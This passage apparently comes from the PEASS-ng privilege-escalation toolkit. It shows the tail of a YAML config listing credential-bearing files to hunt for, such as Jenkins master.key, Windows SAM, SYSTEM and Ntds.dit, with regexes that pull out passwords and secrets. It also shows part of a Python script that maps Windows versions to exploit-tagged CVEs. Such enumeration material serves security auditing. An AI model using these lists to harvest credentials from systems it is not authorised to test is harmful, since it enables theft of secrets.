bad_regex: \"username.*|[pP][aA][sS][sS].*|secret.*\"\n                        remove_empty_lines: True\n                  - name: \"security.json\"\n                    value:\n                        bad_regex: \"username.*|[pP][aA][sS][sS].*|secret.*\"\n                        remove_empty_lines: True\n                  - name: \"server.json\"\n                    value:\n                        bad_regex: \"username.*|[pP][aA][sS][sS].*|secret.*\"\n                        remove_empty_lines: True\n                type: d\n                search_in: \n                  - common\n\n  - name: Cacti\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"cacti\"\n            value:\n                files:\n                  - name: \"config.php\"\n                    value:\n                        bad_regex: \"database_pw.*|database_user.*|database_pass.*\"\n                        line_grep: '\"database_pw|database_user|database_pass|database_type|database_default|detabase_hostname|database_port|database_ssl\"'\n\n                  - name: \"config.php.dist\"\n                    value:\n                        bad_regex: \"database_pw.*|database_user.*|database_pass.*\"\n                        line_grep: '\"database_pw|database_user|database_pass|database_type|database_default|detabase_hostname|database_port|database_ssl\"'\n\n                  - name: \"installer.php\"\n                    value:\n                        bad_regex: \"database_pw.*|database_user.*|database_pass.*\"\n                        line_grep: '\"database_pw|database_user|database_pass|database_type|database_default|detabase_hostname|database_port|database_ssl\"'\n\n                  - name: \"check_all_pages\"\n                    value:\n                        bad_regex: \"database_pw.*|database_user.*|database_pass.*\"\n                        line_grep: '\"database_pw|database_user|database_pass|database_type|database_default|detabase_hostname|database_port|database_ssl\"'\n\n                type: d\n                search_in: \n                  - common\n  \n  - name: Roundcube\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"roundcube\"\n            value:\n                files:\n                  - name: \"config.inc.php\"\n                    value:\n                        bad_regex: \"db_dsnw\"\n                        line_grep: '\"config\\[\"'\n\n                type: d\n                search_in: \n                  - common\n  \n  - name: Passbolt\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"passbolt.php\"\n            value: \n                bad_regex: \"[pP][aA][sS][sS].*|[uU][sS][eE][rR].*\"\n                line_grep: '\"host|port|username|password|database\"'\n                remove_empty_lines: True\n                remove_regex: '^#'\n                type: f\n                search_in: \n                  - common\n\n  - name: Jetty\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"jetty-realm.properties\"\n            value: \n                bad_regex: \".*\"\n                remove_empty_lines: True\n                remove_regex: '^#'\n                type: f\n                search_in: \n                  - common\n  \n  - name: Jenkins\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"master.key\"\n            value: \n                bad_regex: \".*\"\n                remove_empty_lines: True\n                type: f\n                search_in: \n                  - common\n          \n          - name: \"hudson.util.Secret\"\n            value: \n                bad_regex: \".*\"\n                remove_empty_lines: True\n                type: f\n                search_in: \n                  - common\n\n          - name: \"credentials.xml\"\n            value: \n                bad_regex: \"secret.*|password.*|token.*|SecretKey.*|credentialId.*\"\n                remove_empty_lines: True\n                type: f\n                search_in: \n                  - common\n          \n          - name: \"config.xml\"\n            value: \n                bad_regex: \"secret.*|password.*|token.*|SecretKey.*|credentialId.*\"\n                only_bad_lines: True\n                type: f\n                search_in: \n                  - common\n          \n          - name: \"*jenkins\"\n            value:         \n              files:\n                - name: \"build.xml\"\n                  value:\n                    bad_regex: \"secret.*|password.*\"\n                    only_bad_lines: True\n\n              type: d\n              search_in: \n                - common\n  \n  - name: Wget\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \".wgetrc\"\n            value: \n                bad_regex: \"[pP][aA][sS][sS].*|[uU][sS][eE][rR].*\"\n                remove_empty_lines: True\n                remove_regex: '^#'\n                type: f\n                search_in: \n                  - common\n\n  - name: Interesting logs\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"access.log\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n\n          - name: \"error.log\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n\n  - name: Other Interesting\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \".bashrc\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n    \n          - name: \".google_authenticator\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n\n          - name: \"hosts.equiv\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n\n          - name: \".lesshst\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n\n          - name: \".plan\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n      \n          - name: \".profile\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n\n          - name: \".recently-used.xbel\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n\n          - name: \".rhosts\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n\n          - name: \".sudo_as_admin_successful\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n\n  - name: Windows\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"*.rdg\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"AppEvent.Evt\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n          \n          - name: \"autounattend.xml\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"ConsoleHost_history.txt\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"FreeSSHDservice.ini\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"NetSetup.log\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"Ntds.dit\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"protecteduserkey.bin\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"RDCMan.settings\"\n            value:\n                bad_regex: \"credentialsProfiles|password|encryptedPassword\"\n                type: f\n                search_in:\n                  - common\n\n          - name: \"SAM\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"SYSTEM\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"SecEvent.Evt\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"appcmd.exe\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"bash.exe\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"datasources.xml\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"default.sav\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"drives.xml\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"groups.xml\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"https-xampp.conf\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"https.conf\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"iis6.log\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"index.dat\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"my.cnf\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"my.ini\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"ntuser.dat\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"pagefile.sys\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"printers.xml\"\n            value: \n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"recentservers.xml\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"scclient.exe\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"scheduledtasks.xml\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"security.sav\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"server.xml\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"setupinfo\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"setupinfo.bak\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"sitemanager.xml\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"sites.ini\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"software\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"software.sav\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"sysprep.inf\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"sysprep.xml\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"system.sav\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n          \n          - name: \"unattend.inf\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"unattend.txt\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"unattend.xml\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"unattended.xml\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"wcx_ftp.ini\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"ws_ftp.ini\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"web*.config\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"winscp.ini\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"wsl.exe\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n          \n          - name: \"plum.sqlite\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n                 \n\n  - name: Other Windows\n    value:\n        config:\n          auto_check: True\n          disable:\n          - linpeas\n\n        files:\n          - name: \"security\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"services.xml\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n          \n          - name: \"system\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n# Final section\n  - name: Database\n    value:\n        config:\n          auto_check: False\n\n        files:\n          - name: \"*.db\"\n            value: \n                remove_path: \"/man/|/usr/|/var/cache/|thumbcache|iconcache|IconCache\"\n                type: f\n                search_in: \n                  - common\n      \n          - name: \"*.sqlite\"\n            value: \n                remove_path: \"/man/|/usr/|/var/cache/\"\n                type: f\n                search_in: \n                  - common\n\n          - name: \"*.sqlite3\"\n            value: \n                remove_path: \"/man/|/usr/|/var/cache/\"\n                type: f\n                search_in: \n                  - common\n\n  - name: Backups\n    value:\n        config:\n          auto_check: False\n\n        files:\n          - name: \"backup\"\n            value: \n                type: f\n                search_in: \n                  - common\n      \n          - name: \"backups\"\n            value: \n                type: f\n                search_in: \n                  - common\n\n  - name: Password Files\n    value:\n        config:\n          auto_check: False\n\n        files:\n          - name: \"*password*\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n      \n          - name: \"*credential*\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n\n          - name: \"creds*\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n\n          - name: \"*.maintenance*\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"*.key\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n\n  - name: Crontab-UI\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"crontab.db\"\n            value:\n                bad_regex: \"-P[[:space:]]+\\\\S+|--password[[:space:]]+\\\\S+|[Pp]ass(word)?|[Tt]oken|[Ss]ecret\"\n                only_bad_lines: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"crontab-ui.service\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n"
  },
  {
    "path": "build_lists/update_windows_version_defs.py",
    "content": "#!/usr/bin/env python3\n\nfrom __future__ import annotations\n\nimport argparse\nimport json\nimport logging\nimport os\nimport re\nimport tempfile\nimport time\nimport zipfile\nfrom collections import defaultdict\nfrom concurrent.futures import ThreadPoolExecutor, as_completed\nfrom dataclasses import dataclass\nfrom datetime import datetime, timezone\nfrom pathlib import Path\nfrom typing import Any\nfrom urllib.error import HTTPError, URLError\nfrom urllib.request import Request, urlopen\n\n\nBULLETIN_XLSX_URL = (\n    \"https://download.microsoft.com/download/6/7/3/\"\n    \"673E4349-1CA5-40B9-8879-095C72D5B49D/BulletinSearch.xlsx\"\n)\nMSRC_UPDATES_URL = \"https://api.msrc.microsoft.com/cvrf/v3.0/updates\"\nMSRC_CVRF_ACCEPT = \"application/json\"\nNVD_FEED_URL_TEMPLATE = \"https://nvd.nist.gov/feeds/json/cve/2.0/nvdcve-2.0-{year}.json.zip\"\nUSER_AGENT = \"PEASS-ng windows_version_definitions updater\"\nKB_PATTERN = re.compile(r\"\\b(\\d{6,7})\\b\")\nWINDOWS_TOKEN = \"windows\"\nLEGACY_PRODUCT_ALIASES: dict[str, tuple[tuple[str, ...], frozenset[str]]] = {\n    \"Microsoft Windows XP Service Pack 2\": (\n        (\"Microsoft Windows XP\", \"Microsoft Windows XP Service Pack 1\"),\n        frozenset({\"CVE-2017-0143\"}),\n    ),\n    \"Windows 10 for 32-bit Systems\": (\n        (\"Windows 10 Version 1507 for 32-bit Systems\",),\n        frozenset({\"CVE-2017-0143\"}),\n    ),\n    \"Windows 10 for x64-based Systems\": (\n        (\"Windows 10 Version 1507 for x64-based Systems\",),\n        frozenset({\"CVE-2017-0143\"}),\n    ),\n    \"Windows Server 2008 for 32-bit Systems Service Pack 2\": (\n        (\"Windows Server 2008 for 32-bit Systems Service Pack 1\",),\n        frozenset({\"CVE-2017-0143\"}),\n    ),\n    \"Windows Server 2008 for x64-based Systems Service Pack 2\": (\n        (\"Windows Server 2008 for x64-based Systems Service Pack 1\",),\n        frozenset({\"CVE-2017-0143\"}),\n    ),\n}\nLEGACY_COMPATIBILITY_ENTRIES: dict[str, tuple[dict[str, str], ...]] = {\n    \"Microsoft Windows XP\": (\n        {\n            \"cve\": \"CVE-2017-0143\",\n            \"kb\": \"4012598\",\n            \"severity\": \"Critical\",\n            \"impact\": \"Remote Code Execution\",\n        },\n    ),\n    \"Microsoft Windows XP Service Pack 1\": (\n        {\n            \"cve\": \"CVE-2017-0143\",\n            \"kb\": \"4012598\",\n            \"severity\": \"Critical\",\n            \"impact\": \"Remote Code Execution\",\n        },\n    ),\n}\n\n\n@dataclass(frozen=True)\nclass RawEntry:\n    cve: str\n    kb: str\n    product: str\n    severity: str\n    impact: str\n    supersedes: tuple[str, ...]\n\n\ndef configure_logging(verbose: bool) -> None:\n    level = logging.DEBUG if verbose else logging.INFO\n    logging.basicConfig(\n        level=level,\n        format=\"%(asctime)s %(levelname)s %(message)s\",\n        datefmt=\"%Y-%m-%d %H:%M:%S\",\n    )\n\n\ndef parse_args() -> argparse.Namespace:\n    parser = argparse.ArgumentParser(\n        description=(\n            \"Generate build_lists/windows_version_exploits.json directly from \"\n            \"Microsoft Security Update Guide data, the legacy Microsoft bulletin \"\n            \"workbook, and NVD exploit references.\"\n        )\n    )\n    parser.add_argument(\n        \"--output\",\n        default=str(Path(\"build_lists\") / \"windows_version_exploits.json\"),\n    )\n    parser.add_argument(\n        \"--msrc-max-workers\",\n        type=int,\n        default=max(4, min(8, (os.cpu_count() or 4))),\n        help=\"Maximum parallel downloads for MSRC CVRF documents.\",\n    )\n    parser.add_argument(\n        \"--nvd-start-year\",\n        type=int,\n        default=2002,\n        help=\"First NVD year to process.\",\n    )\n    parser.add_argument(\n        \"--nvd-end-year\",\n        type=int,\n        default=datetime.now(timezone.utc).year,\n        help=\"Last NVD year to process.\",\n    )\n    parser.add_argument(\n        \"--timeout\",\n        type=int,\n        default=180,\n        help=\"Per-request timeout in seconds.\",\n    )\n    parser.add_argument(\n        \"--retries\",\n        type=int,\n        default=4,\n        help=\"Download retries for transient network failures.\",\n    )\n    parser.add_argument(\n        \"--verbose\",\n        action=\"store_true\",\n        help=\"Enable debug logging.\",\n    )\n    return parser.parse_args()\n\n\ndef build_request(url: str, *, accept: str | None = None) -> Request:\n    headers = {\"User-Agent\": USER_AGENT}\n    if accept:\n        headers[\"Accept\"] = accept\n    return Request(url, headers=headers)\n\n\ndef download_bytes(url: str, *, timeout: int, retries: int, accept: str | None = None) -> bytes:\n    request = build_request(url, accept=accept)\n    delay = 1.5\n    for attempt in range(1, retries + 1):\n        try:\n            logging.debug(\"Downloading %s (attempt %d/%d)\", url, attempt, retries)\n            with urlopen(request, timeout=timeout) as response:\n                payload = response.read()\n                if not payload:\n                    raise ValueError(f\"Received an empty response from {url}\")\n                return payload\n        except (HTTPError, URLError, TimeoutError, ValueError) as exc:\n            if attempt == retries:\n                raise RuntimeError(f\"Failed to download {url}: {exc}\") from exc\n            logging.warning(\n                \"Download failed for %s on attempt %d/%d: %s\",\n                url,\n                attempt,\n                retries,\n                exc,\n            )\n            time.sleep(delay)\n            delay *= 2\n    raise AssertionError(\"unreachable\")\n\n\ndef download_json(url: str, *, timeout: int, retries: int, accept: str | None = None) -> Any:\n    payload = download_bytes(url, timeout=timeout, retries=retries, accept=accept)\n    try:\n        return json.loads(payload.decode(\"utf-8\"))\n    except json.JSONDecodeError as exc:\n        snippet = payload[:200].decode(\"utf-8\", errors=\"replace\")\n        raise RuntimeError(\n            f\"Failed to decode JSON from {url}. Response starts with: {snippet!r}\"\n        ) from exc\n\n\ndef normalize_spaces(value: Any) -> str:\n    return re.sub(r\"\\s+\", \" \", str(value or \"\").strip())\n\n\ndef format_date(value: Any) -> str:\n    if isinstance(value, datetime):\n        return value.strftime(\"%Y%m%d\")\n\n    text = normalize_spaces(value)\n    if not text:\n        return \"\"\n\n    for parser in (datetime.fromisoformat,):\n        try:\n            return parser(text.replace(\"Z\", \"+00:00\")).strftime(\"%Y%m%d\")\n        except ValueError:\n            pass\n\n    for fmt in (\"%Y-%m-%d\", \"%m/%d/%Y\", \"%Y%m%d\"):\n        try:\n            return datetime.strptime(text, fmt).strftime(\"%Y%m%d\")\n        except ValueError:\n            pass\n\n    raise ValueError(f\"Unsupported date value: {value!r}\")\n\n\ndef extract_kbs(text: Any) -> list[str]:\n    value = normalize_spaces(text)\n    return KB_PATTERN.findall(value)\n\n\ndef get_latest_revision_date(vuln: dict[str, Any], fallback: str) -> str:\n    latest = fallback\n    for revision in vuln.get(\"RevisionHistory\", []) or []:\n        candidate = revision.get(\"Date\")\n        if not candidate:\n            continue\n        formatted = format_date(candidate)\n        if formatted > latest:\n            latest = formatted\n    return latest\n\n\ndef find_note_title(notes: list[dict[str, Any]], target_type: str) -> str:\n    for note in notes or []:\n        note_type = str(note.get(\"Type\", \"\")).strip()\n        if note_type == target_type:\n            title = note.get(\"Title\")\n            if isinstance(title, dict):\n                return normalize_spaces(title.get(\"Value\"))\n            return normalize_spaces(title)\n    return \"\"\n\n\ndef threat_type_matches(threat: dict[str, Any], target_type: str) -> bool:\n    threat_type = threat.get(\"Type\")\n    if isinstance(threat_type, dict):\n        threat_type = threat_type.get(\"Value\")\n    return str(threat_type).strip() == target_type\n\n\ndef get_threat_value(vuln: dict[str, Any], product_id: str, target_type: str) -> str:\n    matches: list[str] = []\n    fallback: list[str] = []\n\n    for threat in vuln.get(\"Threats\", []) or []:\n        if not threat_type_matches(threat, target_type):\n            continue\n        description = threat.get(\"Description\")\n        if isinstance(description, dict):\n            description = description.get(\"Value\")\n        value = normalize_spaces(description)\n        if not value:\n            continue\n        product_ids = threat.get(\"ProductID\") or []\n        if isinstance(product_ids, str):\n            product_ids = [product_ids]\n        if product_id and product_id in product_ids:\n            matches.append(value)\n        else:\n            fallback.append(value)\n\n    if matches:\n        return matches[0]\n    if fallback:\n        return fallback[0]\n    return \"\"\n\n\ndef load_bulletin_entries(*, timeout: int, retries: int) -> list[RawEntry]:\n    try:\n        from openpyxl import load_workbook\n    except ModuleNotFoundError as exc:\n        raise RuntimeError(\n            \"Missing dependency 'openpyxl'. Install it before running this generator.\"\n        ) from exc\n\n    logging.info(\"Downloading legacy Microsoft bulletin workbook\")\n    payload = download_bytes(BULLETIN_XLSX_URL, timeout=timeout, retries=retries)\n\n    with tempfile.NamedTemporaryFile(prefix=\"bulletin_\", suffix=\".xlsx\", delete=False) as handle:\n        handle.write(payload)\n        workbook_path = Path(handle.name)\n\n    try:\n        workbook = load_workbook(workbook_path, read_only=True, data_only=True)\n        sheet = workbook.active\n        entries: list[RawEntry] = []\n        row_count = 0\n\n        for row_index, row in enumerate(sheet.iter_rows(values_only=True), start=1):\n            if row_index == 1:\n                continue\n\n            row_count += 1\n            if row_count % 5000 == 0:\n                logging.info(\"Processed %d bulletin workbook rows\", row_count)\n\n            cves = [normalize_spaces(item) for item in str(row[13] or \"\").split(\",\") if normalize_spaces(item)]\n            if not cves:\n                continue\n\n            date_posted = format_date(row[0])\n            kb = normalize_spaces(row[7])\n            product = normalize_spaces(row[6]).replace(\"2016 for x64-based Systems\", \"2016\")\n            severity = normalize_spaces(row[3])\n            impact = normalize_spaces(row[4])\n            supersedes = tuple(dict.fromkeys(extract_kbs(row[11])))\n\n            for cve in cves:\n                entries.append(\n                    RawEntry(\n                        cve=cve,\n                        kb=kb,\n                        product=product,\n                        severity=severity,\n                        impact=impact,\n                        supersedes=supersedes,\n                    )\n                )\n\n        workbook.close()\n        logging.info(\"Collected %d raw bulletin entries\", len(entries))\n        return entries\n    finally:\n        workbook_path.unlink(missing_ok=True)\n\n\ndef fetch_msrc_update_catalog(*, timeout: int, retries: int) -> list[dict[str, Any]]:\n    logging.info(\"Downloading Microsoft Security Update Guide update catalog\")\n    data = download_json(MSRC_UPDATES_URL, timeout=timeout, retries=retries)\n    updates = data.get(\"value\")\n    if not isinstance(updates, list) or not updates:\n        raise RuntimeError(\"MSRC updates catalog did not return a usable 'value' list\")\n    updates.sort(key=lambda item: item.get(\"InitialReleaseDate\", \"\"))\n    logging.info(\"Catalog contains %d MSRC update documents\", len(updates))\n    return updates\n\n\ndef fetch_msrc_document(url: str, *, timeout: int, retries: int) -> dict[str, Any]:\n    return download_json(url, timeout=timeout, retries=retries, accept=MSRC_CVRF_ACCEPT)\n\n\ndef product_map_from_document(document: dict[str, Any]) -> dict[str, str]:\n    mapping: dict[str, str] = {}\n    for entry in document.get(\"ProductTree\", {}).get(\"FullProductName\", []) or []:\n        product_id = normalize_spaces(entry.get(\"ProductID\"))\n        value = entry.get(\"Value\")\n        if isinstance(value, dict):\n            value = value.get(\"Value\")\n        product_name = normalize_spaces(value)\n        if product_id and product_name:\n            mapping[product_id] = product_name\n    return mapping\n\n\ndef extract_msrc_entries_from_document(document: dict[str, Any]) -> list[RawEntry]:\n    entries: list[RawEntry] = []\n    product_map = product_map_from_document(document)\n    release_date = format_date(\n        document.get(\"DocumentTracking\", {}).get(\"InitialReleaseDate\", datetime.now(timezone.utc))\n    )\n\n    for vuln in document.get(\"Vulnerability\", []) or []:\n        cve = normalize_spaces(vuln.get(\"CVE\"))\n        if not cve:\n            continue\n\n        posted = get_latest_revision_date(vuln, release_date)\n        if not posted:\n            posted = release_date\n\n        for remediation in vuln.get(\"Remediations\", []) or []:\n            description = remediation.get(\"Description\")\n            if isinstance(description, dict):\n                description = description.get(\"Value\")\n            description = normalize_spaces(description)\n            kb_matches = extract_kbs(description)\n            kb = kb_matches[0] if kb_matches else \"\"\n            supersedes = tuple(dict.fromkeys(extract_kbs(remediation.get(\"Supercedence\"))))\n            product_ids = remediation.get(\"ProductID\") or []\n            if isinstance(product_ids, str):\n                product_ids = [product_ids]\n\n            for product_id in product_ids:\n                product = product_map.get(normalize_spaces(product_id))\n                if not product:\n                    continue\n\n                severity = get_threat_value(vuln, product_id, \"3\")\n                impact = get_threat_value(vuln, product_id, \"0\")\n                if not impact:\n                    impact = find_note_title(vuln.get(\"Notes\", []) or [], \"7\")\n\n                entries.append(\n                    RawEntry(\n                        cve=cve,\n                        kb=kb,\n                        product=product,\n                        severity=severity,\n                        impact=impact,\n                        supersedes=supersedes,\n                    )\n                )\n\n    return entries\n\n\ndef load_msrc_entries(*, timeout: int, retries: int, max_workers: int) -> list[RawEntry]:\n    updates = fetch_msrc_update_catalog(timeout=timeout, retries=retries)\n    documents = [update[\"CvrfUrl\"] for update in updates if normalize_spaces(update.get(\"CvrfUrl\"))]\n    entries: list[RawEntry] = []\n\n    logging.info(\"Downloading %d MSRC CVRF documents with up to %d workers\", len(documents), max_workers)\n    with ThreadPoolExecutor(max_workers=max_workers) as executor:\n        future_to_url = {\n            executor.submit(fetch_msrc_document, url, timeout=timeout, retries=retries): url\n            for url in documents\n        }\n        completed = 0\n        for future in as_completed(future_to_url):\n            url = future_to_url[future]\n            document = future.result()\n            doc_entries = extract_msrc_entries_from_document(document)\n            entries.extend(doc_entries)\n            completed += 1\n            if completed % 10 == 0 or completed == len(documents):\n                logging.info(\n                    \"Processed %d/%d MSRC documents (%d cumulative entries)\",\n                    completed,\n                    len(documents),\n                    len(entries),\n                )\n            logging.debug(\"MSRC document %s produced %d raw entries\", url, len(doc_entries))\n\n    logging.info(\"Collected %d raw MSRC entries\", len(entries))\n    return entries\n\n\ndef extract_exploit_ids_from_feed(payload: bytes, *, year: int) -> set[str]:\n    exploit_ids: set[str] = set()\n\n    with tempfile.NamedTemporaryFile(prefix=f\"nvdcve_{year}_\", suffix=\".zip\", delete=False) as handle:\n        handle.write(payload)\n        archive_path = Path(handle.name)\n\n    try:\n        with zipfile.ZipFile(archive_path) as archive:\n            json_name = next((name for name in archive.namelist() if name.endswith(\".json\")), None)\n            if not json_name:\n                raise RuntimeError(f\"NVD archive for {year} does not contain a JSON file\")\n            with archive.open(json_name) as raw_json:\n                document = json.load(raw_json)\n    finally:\n        archive_path.unlink(missing_ok=True)\n\n    for item in document.get(\"vulnerabilities\", []) or []:\n        cve = item.get(\"cve\", {})\n        cve_id = normalize_spaces(cve.get(\"id\"))\n        if not cve_id:\n            continue\n\n        references = cve.get(\"references\", []) or []\n        for reference in references:\n            tags = reference.get(\"tags\") or []\n            if \"Exploit\" in tags:\n                exploit_ids.add(cve_id)\n                break\n\n    logging.debug(\"NVD %d contributed %d exploit-tagged CVEs\", year, len(exploit_ids))\n    return exploit_ids\n\n\ndef load_nvd_exploit_ids(*, start_year: int, end_year: int, timeout: int, retries: int) -> set[str]:\n    if start_year > end_year:\n        raise ValueError(f\"Invalid NVD year range: {start_year} > {end_year}\")\n\n    exploit_ids: set[str] = set()\n    total_years = end_year - start_year + 1\n    for offset, year in enumerate(range(start_year, end_year + 1), start=1):\n        url = NVD_FEED_URL_TEMPLATE.format(year=year)\n        logging.info(\"Downloading NVD feed %d/%d for %d\", offset, total_years, year)\n        payload = download_bytes(url, timeout=timeout, retries=retries)\n        year_ids = extract_exploit_ids_from_feed(payload, year=year)\n        exploit_ids.update(year_ids)\n        logging.info(\n            \"Processed NVD year %d/%d (%d CVEs with exploit references, %d cumulative)\",\n            offset,\n            total_years,\n            len(year_ids),\n            len(exploit_ids),\n        )\n\n    return exploit_ids\n\n\ndef build_definitions(entries: list[RawEntry], exploit_cves: set[str], generated: str) -> dict[str, Any]:\n    products: dict[str, dict[str, dict[str, str]]] = defaultdict(dict)\n    kb_supersedes: dict[str, set[str]] = defaultdict(set)\n\n    for entry in entries:\n        product = normalize_spaces(entry.product)\n        if WINDOWS_TOKEN not in product.lower():\n            continue\n\n        kb = normalize_spaces(entry.kb)\n        if kb:\n            for superseded in entry.supersedes:\n                if superseded:\n                    kb_supersedes[kb].add(superseded)\n\n        if not entry.cve or entry.cve not in exploit_cves:\n            continue\n\n        vuln_key = entry.cve or f\"KB{kb}\"\n        if vuln_key in products[product]:\n            continue\n\n        products[product][vuln_key] = {\n            \"cve\": entry.cve,\n            \"kb\": kb,\n            \"severity\": normalize_spaces(entry.severity),\n            \"impact\": normalize_spaces(entry.impact),\n        }\n\n    for source_product, (aliases, allowed_keys) in LEGACY_PRODUCT_ALIASES.items():\n        source_entries = products.get(source_product)\n        if not source_entries:\n            continue\n        aliased_entries = {\n            key: value\n            for key, value in source_entries.items()\n            if not allowed_keys or key in allowed_keys\n        }\n        if not aliased_entries:\n            continue\n        for alias in aliases:\n            products.setdefault(alias, dict(aliased_entries))\n\n    for product, entries_to_add in LEGACY_COMPATIBILITY_ENTRIES.items():\n        destination = products.setdefault(product, {})\n        for entry in entries_to_add:\n            destination.setdefault(entry[\"cve\"], dict(entry))\n\n    data = {\"generated\": generated, \"products\": {}, \"kb_supersedes\": {}}\n    for product in sorted(products):\n        data[\"products\"][product] = [products[product][key] for key in sorted(products[product])]\n    for kb in sorted(kb_supersedes):\n        data[\"kb_supersedes\"][kb] = sorted(kb_supersedes[kb])\n    return data\n\n\ndef validate_output(data: dict[str, Any]) -> None:\n    if not re.fullmatch(r\"\\d{8}\", str(data.get(\"generated\", \"\"))):\n        raise RuntimeError(\"Generated date is missing or malformed\")\n    products = data.get(\"products\")\n    if not isinstance(products, dict) or not products:\n        raise RuntimeError(\"Output does not contain any product definitions\")\n    kb_supersedes = data.get(\"kb_supersedes\")\n    if not isinstance(kb_supersedes, dict):\n        raise 